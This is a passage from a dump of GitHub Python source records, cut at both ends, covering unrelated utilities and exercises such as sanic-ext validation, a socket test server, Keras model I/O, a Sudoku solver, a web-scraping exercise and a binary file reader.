self.has_shift_modifier = shift # type: bool\n","repo_name":"BekaValentine/RetroUI","sub_path":"src/retroui/terminal/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"11502727232","text":"from __future__ import annotations\n\nfrom dataclasses import _HAS_DEFAULT_FACTORY # type: ignore\nfrom typing import (\n Any,\n Literal,\n Mapping,\n NamedTuple,\n Optional,\n Tuple,\n Union,\n get_args,\n get_origin,\n)\n\nfrom sanic_ext.utils.typing import (\n UnionType,\n is_generic,\n is_msgspec,\n is_optional,\n)\n\nMISSING: Tuple[Any, ...] = (_HAS_DEFAULT_FACTORY,)\n\ntry:\n import attrs # noqa\n\n NOTHING = attrs.NOTHING\n ATTRS = True\n MISSING = (\n _HAS_DEFAULT_FACTORY,\n NOTHING,\n )\nexcept ImportError:\n ATTRS = False\n\n\ntry:\n import msgspec\n\n MSGSPEC = True\nexcept ImportError:\n MSGSPEC = False\n\n\nclass Hint(NamedTuple):\n hint: Any\n model: bool\n literal: bool\n typed: bool\n nullable: bool\n origin: Optional[Any]\n allowed: Tuple[Hint, ...] # type: ignore\n allow_missing: bool\n\n def validate(\n self, value, schema, allow_multiple=False, allow_coerce=False\n ):\n if not self.typed:\n if self.model:\n return check_data(\n self.hint,\n value,\n schema,\n allow_multiple=allow_multiple,\n allow_coerce=allow_coerce,\n )\n\n if (\n allow_multiple\n and isinstance(value, list)\n and self.coerce_type is not list\n and len(value) == 1\n ):\n value = value[0]\n try:\n _check_types(value, self.literal, self.hint)\n except ValueError as e:\n if allow_coerce:\n value = self.coerce(value)\n _check_types(value, self.literal, self.hint)\n else:\n raise e\n else:\n value = _check_nullability(\n value,\n self.nullable,\n self.allowed,\n schema,\n allow_multiple,\n allow_coerce,\n )\n\n if not self.nullable:\n if self.origin in (Union, Literal, UnionType):\n value = _check_inclusion(\n value,\n self.allowed,\n schema,\n allow_multiple,\n allow_coerce,\n )\n elif self.origin is list:\n value = _check_list(\n value,\n self.allowed,\n self.hint,\n schema,\n allow_multiple,\n allow_coerce,\n )\n elif self.origin is dict:\n value = _check_dict(\n value,\n self.allowed,\n self.hint,\n schema,\n allow_multiple,\n allow_coerce,\n )\n\n if allow_coerce:\n value = self.coerce(value)\n\n return value\n\n def coerce(self, value):\n if is_generic(self.coerce_type):\n args = get_args(self.coerce_type)\n if get_origin(self.coerce_type) == Literal or (\n all(get_origin(arg) == Literal for arg in args)\n ):\n return value\n if type(None) in args and value is None:\n return None\n coerce_types = [arg for arg in args if not isinstance(None, arg)]\n else:\n coerce_types = [self.coerce_type]\n for coerce_type in coerce_types:\n try:\n if isinstance(value, list):\n value = [coerce_type(item) for item in value]\n else:\n value = coerce_type(value)\n except (ValueError, TypeError):\n ...\n else:\n return value\n return value\n\n @property\n def coerce_type(self):\n coerce_type = self.hint\n if is_optional(coerce_type):\n coerce_type = get_args(self.hint)[0]\n return coerce_type\n\n\ndef check_data(model, data, schema, allow_multiple=False, allow_coerce=False):\n if not isinstance(data, dict):\n raise TypeError(f\"Value '{data}' is not a dict\")\n sig = schema[model.__name__][\"sig\"]\n hints = schema[model.__name__][\"hints\"]\n bound = sig.bind(**data)\n bound.apply_defaults()\n params = dict(zip(sig.parameters, bound.args))\n params.update(bound.kwargs)\n\n hydration_values = {}\n try:\n for key, value in params.items():\n hint = hints.get(key, Any)\n try:\n hydration_values[key] = hint.validate(\n value,\n schema,\n allow_multiple=allow_multiple,\n allow_coerce=allow_coerce,\n )\n except ValueError:\n if not hint.allow_missing or value not in MISSING:\n raise\n except ValueError as e:\n raise TypeError(e)\n\n if MSGSPEC and is_msgspec(model):\n try:\n return msgspec.from_builtins(\n hydration_values, model, str_values=True, str_keys=True\n )\n except msgspec.ValidationError as e:\n raise TypeError(e)\n else:\n return model(**hydration_values)\n\n\ndef _check_types(value, literal, expected):\n if literal:\n if expected is Any:\n return\n elif value != expected:\n raise ValueError(f\"Value '{value}' must be {expected}\")\n else:\n if MSGSPEC and is_msgspec(expected) and isinstance(value, Mapping):\n try:\n expected(**value)\n except (TypeError, msgspec.ValidationError):\n raise ValueError(f\"Value '{value}' is not of type {expected}\")\n elif not isinstance(value, expected):\n raise ValueError(f\"Value '{value}' is not of type {expected}\")\n\n\ndef _check_nullability(\n value, nullable, allowed, schema, allow_multiple, allow_coerce\n):\n if not nullable and value is None:\n raise ValueError(\"Value cannot be None\")\n if nullable and value is not None:\n exc = None\n for hint in allowed:\n try:\n value = hint.validate(\n value, schema, allow_multiple, allow_coerce\n )\n except ValueError as e:\n exc = e\n else:\n break\n else:\n if exc:\n if len(allowed) == 1:\n raise exc\n else:\n options = \", \".join(\n [str(option.hint) for option in allowed]\n )\n raise ValueError(\n f\"Value '{value}' must be one of {options}, or None\"\n )\n return value\n\n\ndef _check_inclusion(value, allowed, schema, allow_multiple, allow_coerce):\n for option in allowed:\n try:\n return option.validate(value, schema, allow_multiple, allow_coerce)\n except (ValueError, TypeError):\n ...\n\n options = \", \".join([str(option.hint) for option in allowed])\n raise ValueError(f\"Value '{value}' must be one of {options}\")\n\n\ndef _check_list(value, allowed, hint, schema, allow_multiple, allow_coerce):\n if isinstance(value, list):\n try:\n return [\n _check_inclusion(\n item, allowed, schema, allow_multiple, allow_coerce\n )\n for item in value\n ]\n except (ValueError, TypeError):\n ...\n raise ValueError(f\"Value '{value}' must be a {hint}\")\n\n\ndef _check_dict(value, allowed, hint, schema, allow_multiple, allow_coerce):\n if isinstance(value, dict):\n try:\n return {\n key: _check_inclusion(\n item, allowed, schema, allow_multiple, allow_coerce\n )\n for key, item in value.items()\n }\n except (ValueError, TypeError):\n ...\n raise ValueError(f\"Value '{value}' must be a {hint}\")\n","repo_name":"sanic-org/sanic-ext","sub_path":"sanic_ext/extras/validation/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":8193,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"81"} +{"seq_id":"3776259148","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 17 21:23:55 2019\n\n@author: mr_ro\n\"\"\"\n\nimport socket\n\nHOST = socket.gethostname()\nPORT = 8000\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nprint('Socket created')\n\ntry:\n s.bind((HOST, PORT))\nexcept socket.error as err:\n print('Bind failed. Error Code : ' .format(err))\ns.listen(10)\nprint(\"Socket Listening\")\nconn, addr = s.accept()\nwhile(True):\n \n data = conn.recv(1024)\n print(data.decode(encoding='UTF-8'))\n conn.send(bytes(\"Message\"+\"\\r\\n\",'UTF-8'))\n print(\"Message sent\")","repo_name":"MrRobo24/nasa_space_apps_challenge","sub_path":"PatternRecog/testserver.oy.py","file_name":"testserver.oy.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"23227011620","text":"\"\"\"\nUtilities for Keras models I/O\nPaulo Villegas, 2017-2019\n\nDefinition of two functions, model_save() and model_load(), that can save a\nKeras model and also its associated training history\n\"\"\"\n\nimport os.path\nimport numpy as np\n\nfrom keras.models import load_model\nfrom keras import backend as K\nimport h5py\n\n\n# --------------------------------------------------------------------------\n\ndef save_weights(model, basename):\n \"\"\"\n *LEGACY*\n Modification of keras.engine.topology.Container.save_weights to avoid\n saving empty weights\n\n Keras native save_weights & load_weights methods choke on empty weights, since\n the h5py library can't load/save empty attributes (fixed in master, not yet in\n release 2.6). These functions solve the problem by skipping weight management\n in layers with no weights (e.g. an Activation or MaxPool layer)\n \"\"\"\n try:\n f = h5py.File(basename+'.w.h5', 'w')\n\n if hasattr(model, 'flattened_layers'):\n # support for legacy Sequential/Merge behavior\n flattened_layers = model.flattened_layers\n else:\n flattened_layers = model.layers\n\n f.attrs['layer_names'] = [layer.name.encode('utf8') for layer in flattened_layers]\n\n for layer in flattened_layers:\n g = f.create_group(layer.name)\n symbolic_weights = layer.trainable_weights + layer.non_trainable_weights\n weight_values = K.batch_get_value(symbolic_weights)\n weight_names = []\n for i, (w, val) in enumerate(zip(symbolic_weights, weight_values)):\n if hasattr(w, 'name') and w.name:\n name = str(w.name)\n else:\n name = 'param_' + str(i)\n weight_names.append(name.encode('utf8'))\n # only add weights attribute if nonempty\n if weight_names:\n g.attrs['weight_names'] = weight_names \n #else:\n # g.attrs.if weight_names else np.zeros( (0,), 'S8' ) # ['']\n for name, val in zip(weight_names, weight_values):\n param_dset = g.create_dataset(name, val.shape,\n dtype=val.dtype)\n param_dset[:] = val\n #print( weight_names,\"=\", weight_values)\n f.flush()\n finally:\n f.close()\n\n\ndef load_weights(model, filepath):\n \"\"\"\n *LEGACY*\n Modification of keras.engine.topology.Container.load_weights to check\n layer weights presence before accessing\n \"\"\"\n f = h5py.File(filepath, mode='r')\n\n if hasattr(model, 'flattened_layers'):\n # support for legacy Sequential/Merge behavior\n flattened_layers = model.flattened_layers\n else:\n flattened_layers = model.layers\n\n if 'nb_layers' in f.attrs:\n # legacy format\n nb_layers = f.attrs['nb_layers']\n if nb_layers != len(flattened_layers):\n raise Exception('You are trying to load a weight file '\n 'containing ' + str(nb_layers) +\n ' layers into a model with ' +\n str(len(flattened_layers)) + '.')\n\n for k in range(nb_layers):\n g = f['layer_{}'.format(k)]\n weights = [g['param_{}'.format(p)] for p in range(g.attrs['nb_params'])]\n flattened_layers[k].set_weights(weights)\n else:\n # new file format\n layer_names = [n.decode('utf8') for n in f.attrs['layer_names']]\n if len(layer_names) != len(flattened_layers):\n raise Exception('You are trying to load a weight file '\n 'containing ' + str(len(layer_names)) +\n ' layers into a model with ' +\n str(len(flattened_layers)) + ' layers.')\n\n # we batch weight value assignments in a single backend call\n # which provides a speedup in TensorFlow.\n weight_value_tuples = []\n for k, name in enumerate(layer_names):\n g = f[name]\n if 'weight_names' not in g.attrs:\n continue # skip layer if it has no weights\n weight_names = [n.decode('utf8') for n in g.attrs['weight_names']]\n if len(weight_names):\n weight_values = [g[weight_name] for weight_name in weight_names]\n layer = flattened_layers[k]\n symbolic_weights = layer.trainable_weights + layer.non_trainable_weights\n if len(weight_values) != len(symbolic_weights):\n raise Exception('Layer #' + str(k) +\n ' (named \"' + layer.name +\n '\" in the current model) was found to '\n 'correspond to layer ' + name +\n ' in the save file. '\n 'However the new layer ' + layer.name +\n ' expects ' + str(len(symbolic_weights)) +\n ' weights, but the saved weights have ' +\n str(len(weight_values)) +\n ' elements.')\n weight_value_tuples += zip(symbolic_weights, weight_values)\n K.batch_set_value(weight_value_tuples)\n f.close()\n\n\n# --------------------------------------------------------------------------\n\nfrom keras.callbacks import Callback, History\nfrom collections import defaultdict\nimport time\n\nclock = getattr(time, 'perf_time', time.clock)\n\nclass TrainingHistory(Callback):\n '''\n A Keras callback class that tracks all evaluation metrics,\n both across mini-batches (history_batch) and across epochs (history_epoch)\n '''\n\n def on_train_begin(self, logs={}):\n self.history_batch = defaultdict(list)\n self.history_epoch = defaultdict(list)\n\n def on_epoch_begin(self, epoch, logs={}):\n # Start to mesure time; initialize storage for batch metrics\n self.epoch_start = clock()\n self.batches = defaultdict(list)\n\n def on_batch_end(self, batch, logs={}):\n # Store batch metrics\n for k in self.params['metrics']:\n if k in logs:\n self.batches[k].append(logs[k])\n\n def on_epoch_end(self, epoch, logs={}):\n # Store epoch metrics\n for k in self.params['metrics']:\n if k in logs:\n self.history_epoch[k].append(logs[k])\n self.history_epoch['time'].append(clock() - self.epoch_start)\n # Consolidate batch metrics\n for k, v in self.batches.items():\n self.history_batch[k].append(np.array(v))\n del self.batches\n\n def on_train_end(self, logs={}):\n # Create the mini-batch metric array dictionary\n self.history_batch = {k: np.array(v)\n for k, v in self.history_batch.items()}\n\n @property\n def history(self):\n '''Alias for compatibility with the Keras History callback'''\n return self.history_epoch\n\n# --------------------------------------------------------------------------\n\n\ndef history_load(name):\n '''\n Load a TrainingHistory object from an HDF5 file\n '''\n if not name.endswith('.h5'):\n name += '.h5'\n f = h5py.File(name, 'r')\n H = type('TrainingHistory', (object,),\n {'history': property(lambda s: s.history_epoch)})\n h = H()\n try:\n # Load params\n h.params = {}\n g = f['params']\n for k, v in g.attrs.items():\n # convert an NumPy string array into a list of str\n if isinstance(v, np.ndarray) and v.dtype.char == 'S':\n v = [s.decode('utf-8') for s in v]\n h.params[k] = v\n # Load epoch metrics\n g = f['history/epoch']\n h.history_epoch = {k: np.copy(v) for k, v in g.items()}\n # Load batch metrics\n if 'history/batch' in f:\n g = f['history/batch']\n h.history_batch = {k: np.copy(v) for k, v in g.items()}\n else:\n h.history_batch = None\n finally:\n f.close()\n return h\n\n\ndef history_save(history, name, verbose=True):\n '''\n Save either a TrainingHistory object, or a plain Keras History object,\n into an HDF5 file\n It stores:\n * params\n * history_epoch\n * history_batch (for TrainingHistory)\n '''\n if not name.endswith('.h5'):\n name += '.h5'\n if verbose:\n print('Saving training history ({}) into:'.format(type(history).__name__),\n name)\n f = h5py.File(name, 'w')\n try:\n # Save params\n g = f.create_group('params')\n for k, v in history.params.items():\n # check a list of strings -- possible errors in H5 (no unicode support)\n # see https://github.com/h5py/h5py/issues/441\n if isinstance(v, list):\n v = [e.encode('utf-8') if isinstance(e, str) else e for e in v]\n g.attrs[k] = v\n # Save epoch metrics\n g = f.create_group('history/epoch')\n for n, m in history.history.items():\n g.create_dataset(n, data=np.array(m))\n # Save batch metrics\n if hasattr(history, 'history_batch'):\n g = f.create_group('history/batch')\n for n, m in history.history_batch.items():\n g.create_dataset(n, data=np.array(m))\n f.flush()\n finally:\n f.close()\n\n\n# --------------------------------------------------------------------------\n\ndef model_save_old(model, basename, history=None):\n \"\"\"\n *LEGACY* Save a full model: architecture and weights, into a file\n @param model (Model): the Keras model to save\n @param basename (str): filename to use. Two files will be written: a\n JSON file (model architecture) and an HDF5 file (model weights)\n @param history (History): optional training history to save, as a third file\n \"\"\"\n with open(basename+'.m.json', 'w') as f:\n f.write(model.to_json())\n save_weights(model, basename)\n if history:\n history_save(history, basename + '.h')\n\n\ndef model_load_old(basename, compile={}, history=True):\n \"\"\"\n *LEGACY* Load a model saved with model_save_old(): structure & weights will be\n restored, and the model will be compiled with the passed arguments\n @param basename (str): basename used to save it\n @param compile (dict): arguments to be used when compiling the model\n @param history (bool): load also training history, if available\n \"\"\"\n from keras.models import model_from_json\n model = model_from_json(open(basename+'.m.json').read())\n model.compile(**compile)\n load_weights(model, basename+'.w.h5')\n if not history:\n return model\n elif not os.path.exists(basename + '.h.h5'):\n return model, None\n return model, history_load(basename + '.h')\n\n\n# --------------------------------------------------------------------------\n\ndef model_save(model, basename, verbose=True):\n \"\"\"\n Save a full model (architecture and weights) into a file, plus its history\n into another file.\n @param model (Model or History): the Keras model to save, or a History\n callback object (which also contains the model)\n @param basename (str): basename to use.\n \"\"\"\n if basename.endswith('.h5'):\n basename = basename[:-3]\n if isinstance(model, (History, TrainingHistory)):\n if verbose:\n print('Saving Keras model into:', basename+'.h5')\n model.model.save(basename+'.h5')\n history_save(model, basename + '.h', verbose)\n else:\n model.save(basename+'.h5')\n\n\ndef model_load(basename, history=True):\n \"\"\"\n Load a model saved with model_save(): structure & weights will be\n restored, and the model will be re-compiled\n @param basename (str): basename used to save it\n @param history (bool): load also training history, if available\n \"\"\"\n if basename.endswith('.h5'):\n basename = basename[:-3]\n model = load_model(basename + '.h5')\n if not history:\n return model\n elif not os.path.exists(basename + '.h.h5'):\n return model, None\n\n history = history_load(basename + '.h')\n history.model = model\n return model, history\n","repo_name":"paulovn/dl-helper","sub_path":"dl_helper/krs/krs_model_io.py","file_name":"krs_model_io.py","file_ext":"py","file_size_in_byte":12256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"9401199707","text":"import collections\nclass Solution:\n def minMeetingRooms(self, intervals) -> int:\n cnt = collections.Counter()\n for s, e in intervals:\n cnt[s] += 1\n cnt[e] -= 1\n res = 0\n curr = 0\n for time in sorted(list(cnt.keys())):\n curr += cnt[time]\n res = max(res, curr)\n return res","repo_name":"Jason003/interview","sub_path":"oscar/Meeting Rooms II.py","file_name":"Meeting Rooms II.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"70236538505","text":"import unittest\nimport os\nimport sys\n\nimport pprint\npp = pprint.PrettyPrinter(indent=4)\n\ndef settings_dict(module, keep=lambda k: k == k.upper()):\n \"\"\"Returns a dictionary for a module namespace.\"\"\"\n return {k: v for k, v in module.__dict__.items() if keep(k)}\n\ndef dump_settings(header, s):\n settings = s if isinstance(s, dict) else settings_dict(s)\n print('-----------------------------------------------------\\n' + \n header + ':')\n pp.pprint(settings)\n\ndef test_defaults():\n import test.settings_defaults as s\n dump_settings('test_defaults', s)\n assert s.JSLIB_BASE == 'http://example.cdn/jslib/'\n assert s.JSLIB_VER == '2.4.1'\n assert s.JSLIB_URL == 'http://example.cdn/jslib/2.4.1/jslib.js'\n assert s.COMIC['characters'][0] == 'Mister Fantastic'\n assert s.FIRST == False\n assert s.CHARACTER == 'Human Torch'\n assert s.HAPPY_KID == 'Wumbus'\n\ndef test_robin():\n import test.settings_robin as s\n dump_settings('test_robin', s)\n assert s.JSLIB_URL == 'http://example.cdn/jslib/2.5.3/jslib.js'\n assert s.CHARACTER == 'Robin'\n assert s.HAPPY_KID == 'Wumbus'\n\ndef test_batman():\n import test.settings_batman as s\n dump_settings('test_batman', s)\n assert s.JSLIB_URL == 'http://example.cdn/jslib/2.5.3/jslib.js'\n assert s.CHARACTER == 'Batman'\n assert s.HAPPY_KID == 'Zombo'\n\ndef test_django():\n \"\"\"Test in a real django environment\"\"\"\n\n # Use django to read and process the settings file\n from django.conf import settings, global_settings\n os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", 'test.settings_django')\n settings._setup()\n\n # Get the ones we're interested in\n all_settings = settings_dict(settings._wrapped)\n default_settings = settings_dict(global_settings)\n user_settings = {k: v for k, v in all_settings.items() \n if not(k in default_settings)}\n\n dump_settings('test_django', user_settings)\n assert user_settings['JSLIB_URL'] == 'http://example.cdn/jslib/2.5.3/jslib.js'\n assert user_settings['CHARACTER'] == 'Batman'\n assert user_settings['HAPPY_KID'] == 'Zombo'\n","repo_name":"Klortho/settings-resolver","sub_path":"test/test_sd.py","file_name":"test_sd.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"27999025806","text":"# Define a variable \"num1\" and assign a value to it\r\nnum1 = 90\r\n# Define a variable \"num2\" and assign a value to it\r\nnum2 = 50\r\n# Define a variable \"choice\" and assign any one value between 1 to 4\r\nchoice = 3\r\n# Check if \"choice\" is equal to 1, then print the sum of \"num1\" and \"num2\"\r\nif choice == 1:\r\n print(num1 + num2)\r\n# Check if \"choice\" is equal to 2, then print the difference between \"num1\" and \"num2\"\r\nif choice == 2:\r\n print(num1 - num2)\r\n# Check if \"choice\" is equal to 3, then print the product of \"num1\" and \"num2\"\r\nif choice == 3:\r\n print(num1 * num2)\r\n# Check if \"choice\" is equal to 4, then print the result of \"num1\" divided by \"num2\"\r\nif choice == 4:\r\n print(num1 / num2)","repo_name":"whjr2021/G11-C3-V1-SAA1-Solution","sub_path":"C3_SAA1_Solution.py","file_name":"C3_SAA1_Solution.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73681494345","text":"\r\nimport numpy as np\r\n\r\ngrid = np.array([\r\n (0, 0, 5, 8, 7, 1, 4, 0, 0),\r\n (0, 1, 7, 0, 0, 0, 8, 9, 5),\r\n (4, 0, 0, 0, 0, 0, 0, 1, 7),\r\n (7, 3, 0, 2, 5, 4, 0, 8, 6),\r\n (5, 4, 0, 1, 6, 8, 0, 7, 0),\r\n (8, 6, 0, 9, 3, 7, 0, 5, 4),\r\n (2, 5, 0, 0, 0 ,0, 7, 4, 9),\r\n (0, 7, 0, 0, 0, 0, 0, 2, 0),\r\n (0, 0, 4, 7, 0, 2, 5, 0, 0)\r\n ])\r\n\r\ngrid_original = np.array(grid, copy=True)\r\n\r\ndef grid_ref(number):\r\n grid_ref = (number//9, number%9)\r\n return grid_ref\r\n\r\ndef value(grid, number):\r\n g_r = grid_ref(number)\r\n value = grid[g_r]\r\n return value\r\n\r\ndef cell(grid, number):\r\n g_r = grid_ref(number)\r\n cell_ref = (g_r[0]//3, g_r[1]//3)\r\n cell = grid[((cell_ref[0])*3):((cell_ref[0])*3)+3, ((cell_ref[1])*3):((cell_ref[1])*3)+3]\r\n return cell\r\n\r\ndef row(grid, number):\r\n g_r = grid_ref(number)\r\n row_ref = g_r[0]\r\n row = grid[(row_ref):(row_ref+1), 0:9]\r\n return row\r\n\r\ndef column(grid, number):\r\n g_r = grid_ref(number)\r\n column_ref = g_r[1]\r\n column = grid[0:9, (column_ref):(column_ref+1)]\r\n return column\r\n\r\nprint(grid)\r\nprint(\"\\n Processing... \\n\")\r\n\r\nforwards = True\r\ni = 0\r\n\r\nwhile i <9*9:\r\n\r\n if value(grid_original, i) == 0 and forwards:\r\n for a in range(1, 10):\r\n if a not in cell(grid, i) and a not in row(grid, i) and a not in column(grid, i):\r\n grid[grid_ref(i)] = a\r\n i += 1\r\n break\r\n else:\r\n if a == 9:\r\n forwards = False\r\n i -= 1 #goes back a cell\r\n break\r\n elif value(grid_original, i) != 0 and forwards:\r\n i += 1\r\n\r\n elif value(grid_original, i) == 0 and not forwards:\r\n if grid[grid_ref(i)] == 9:\r\n grid[grid_ref(i)] = 0\r\n i -= 1\r\n else:\r\n for a in range(grid[grid_ref(i)]+1, 10):\r\n if a not in cell(grid, i) and a not in row(grid, i) and a not in column(grid, i):\r\n grid[grid_ref(i)] = a\r\n forwards = True\r\n i += 1\r\n break\r\n else:\r\n if a == 9:\r\n grid[grid_ref(i)] = 0\r\n i -= 1\r\n break\r\n\r\n elif value(grid_original, i) != 0 and not forwards:\r\n i -= 1\r\n\r\nprint(grid)\r\n","repo_name":"aricooperdavis/SudokuSolver","sub_path":"sudoku_1.py","file_name":"sudoku_1.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"21789723019","text":"# To run this, download the BeautifulSoup zip file\r\n# http://www.py4e.com/code3/bs4.zip\r\n# and unzip it in the same directory as this file\r\n\r\nimport urllib.request, urllib.parse, urllib.error\r\nfrom bs4 import BeautifulSoup\r\nimport ssl\r\n\r\n# Ignore SSL certificate errors\r\nctx = ssl.create_default_context()\r\nctx.check_hostname = False\r\nctx.verify_mode = ssl.CERT_NONE\r\n\r\nurl = input('Enter - ')\r\nif len(url) < 1:\r\n url = \"https://py4e-data.dr-chuck.net/known_by_Jerome.html\"\r\nhtml = urllib.request.urlopen(url, context=ctx).read()\r\nsoup = BeautifulSoup(html, 'html.parser')\r\n\r\n# everything below I added\r\ncount = input('Enter count: ')\r\nposition = input('Enter position: ')\r\nprint('Retrieving:', url)\r\n\r\nnames = list()\r\n\r\n# The iteration\r\nfor i in range(int(count)):\r\n tags = soup('a')\r\n urlpos = tags[int(position) - 1]\r\n url = urlpos.get('href', None)\r\n print('Retrieving:', url) # and then open the target URL in each page\r\n html = urllib.request.urlopen(url, context=ctx).read()\r\n soup = BeautifulSoup(html, 'html.parser')\r\n","repo_name":"Nullblano/Python_Learning","sub_path":"Course Three/Following Links.py","file_name":"Following Links.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"4261680412","text":"from enum import Enum\n\nfrom datahub.core.constants import Constant\n\n\nclass ServiceQuestionID(Enum):\n \"\"\"ServiceQuestion.\"\"\"\n\n # providing_investment_advice_and_information\n piai_what_did_you_give_advice_about = '3c69f671-0888-475c-97e5-bc55461db35e'\n\n making_export_introductions = '054b29fe-c14b-463d-8177-c378d3a819aa'\n\n\nclass ServiceAnswerOptionID(Enum):\n \"\"\"ServiceAnswerOption.\"\"\"\n\n # providing_investment_advice_and_information\n piai_banking_and_funding = 'd7293a68-05a6-461b-911c-2f07b4306c1e'\n piai_dit_or_government_services = 'e5f83d7f-f696-4069-b649-a3e295b41046'\n\n making_export_introductions_customers = 'a0fabd27-587b-49d1-9e56-eb789b66b7cd'\n\n\nclass TradeAgreement(Enum):\n \"\"\"Trade agreement constants\"\"\"\n\n uk_australia = Constant(\n 'UK-Australia Mutual Recognition Agreement',\n '50370070-71f9-4ada-ae2c-cd0a737ba5e2',\n )\n uk_japan = Constant(\n 'UK-Japan Comprehensive Economic Partnership Agreement',\n '05587f64-b976-425e-8763-3557c7936632',\n )\n","repo_name":"uktrade/data-hub-api","sub_path":"datahub/interaction/test/views/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"81"} +{"seq_id":"4384731766","text":"from __future__ import annotations\n\nimport struct\nfrom functools import wraps\nfrom typing import BinaryIO, Union\n\nDTYPES = {\n \"str\": \"c\",\n \"int\": \"i\",\n \"bool\": \"i\",\n \"float\": \"d\",\n \"complex\": 2 * \"d\",\n}\nNP_DTYPES = {\n \"str\": str,\n \"int\": int,\n \"bool\": bool,\n \"float\": float,\n \"complex\": complex,\n}\nBYTE_ORDERS = {\n \"little\": \"<\",\n \"big\": \">\",\n \"native\": \"=\",\n}\n\nSIZE_CHAR = struct.calcsize(DTYPES[\"str\"])\nSIZE_INT = struct.calcsize(DTYPES[\"int\"])\nSIZE_BOOL = struct.calcsize(DTYPES[\"bool\"])\nSIZE_DOUBLE = struct.calcsize(DTYPES[\"float\"])\nSIZE_COMPLEX = struct.calcsize(DTYPES[\"complex\"])\n\n\ndef requires_version(version_needed, default=None):\n def check_version(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n if args[0].legolas_version < version_needed:\n return default\n return func(*args, **kwargs)\n\n return wrapper\n\n return check_version\n\n\ndef read_string_from_istream(\n istream: BinaryIO,\n length: int,\n amount: int = 1,\n offset: int = None,\n byte_order: str = \"native\",\n) -> Union[str, list[str]]:\n \"\"\"\n Reads a string from the input stream.\n\n Parameters\n ----------\n istream : BinaryIO\n The input stream to read from.\n length : int\n The length of the string to read.\n amount : int, optional\n The amount of strings to read, by default 1.\n offset : int, optional\n The offset to seek to before reading, by default `None`.\n byte_order : str, optional\n The byte order to use, by default \"native\".\n\n Returns\n -------\n str, list of str\n The string(s) read from the input stream.\n \"\"\"\n if offset is not None:\n istream.seek(offset)\n fmt = BYTE_ORDERS[byte_order] + amount * length * DTYPES[\"str\"]\n hdr = struct.unpack(fmt, istream.read(struct.calcsize(fmt)))\n if amount == 1:\n return b\"\".join(hdr).strip().decode()\n return [\n b\"\".join(hdr[i : i + length]).strip().decode()\n for i in range(0, amount * length, length)\n ]\n\n\ndef read_int_from_istream(\n istream: BinaryIO,\n amount: int = 1,\n offset: int = None,\n byte_order: str = \"native\",\n) -> Union[int, tuple[int, ...]]:\n \"\"\"\n Reads an integer from the input stream.\n\n Parameters\n ----------\n istream : BinaryIO\n The input stream to read from.\n amount : int, optional\n The amount of integers to read, by default 1.\n offset : int, optional\n The offset to seek to before reading, by default `None`.\n byte_order : str, optional\n The byte order to use, by default \"native\".\n\n Returns\n -------\n int, tuple of int\n The integer(s) read from the input stream.\n \"\"\"\n if offset is not None:\n istream.seek(offset)\n fmt = BYTE_ORDERS[byte_order] + amount * DTYPES[\"int\"]\n hdr = struct.unpack(fmt, istream.read(struct.calcsize(fmt)))\n if amount == 1:\n (hdr,) = hdr # unpack for single values\n return hdr\n\n\ndef read_boolean_from_istream(\n istream: BinaryIO,\n offset: int = None,\n byte_order: str = \"native\",\n) -> bool:\n \"\"\"\n Reads a boolean from the input stream.\n\n Parameters\n ----------\n istream : BinaryIO\n The input stream to read from.\n offset : int, optional\n The offset to seek to before reading, by default `None`.\n byte_order : str, optional\n The byte order to use, by default \"native\".\n\n Returns\n -------\n bool\n The boolean read from the input stream.\n \"\"\"\n return bool(read_int_from_istream(istream, offset=offset, byte_order=byte_order))\n\n\ndef read_float_from_istream(\n istream: BinaryIO,\n amount: int = 1,\n offset: int = None,\n byte_order: str = \"native\",\n) -> Union[float, tuple[float, ...]]:\n \"\"\"\n Reads a float from the input stream.\n\n Parameters\n ----------\n istream : BinaryIO\n The input stream to read from.\n amount : int, optional\n The amount of floats to read, by default 1.\n offset : int, optional\n The offset to seek to before reading, by default `None`.\n byte_order : str, optional\n The byte order to use, by default \"native\".\n\n Returns\n -------\n float, tuple of float\n The float(s) read from the input stream.\n \"\"\"\n if offset is not None:\n istream.seek(offset)\n fmt = BYTE_ORDERS[byte_order] + amount * DTYPES[\"float\"]\n hdr = struct.unpack(fmt, istream.read(struct.calcsize(fmt)))\n if amount == 1:\n (hdr,) = hdr # unpack for single values\n return hdr\n\n\ndef read_complex_from_istream(\n istream: BinaryIO,\n amount: int = 1,\n offset: int = None,\n byte_order: str = \"native\",\n) -> Union[complex, tuple[complex, ...]]:\n \"\"\"\n Reads a complex from the input stream.\n\n Parameters\n ----------\n istream : BinaryIO\n The input stream to read from.\n amount : int, optional\n The amount of complex numbers to read, by default 1.\n offset : int, optional\n The offset to seek to before reading, by default `None`.\n byte_order : str, optional\n The byte order to use, by default \"native\".\n\n Returns\n -------\n complex, tuple of complex\n The complex number(s) read from the input stream.\n \"\"\"\n if offset is not None:\n istream.seek(offset)\n fmt = BYTE_ORDERS[byte_order] + amount * DTYPES[\"complex\"]\n hdr = 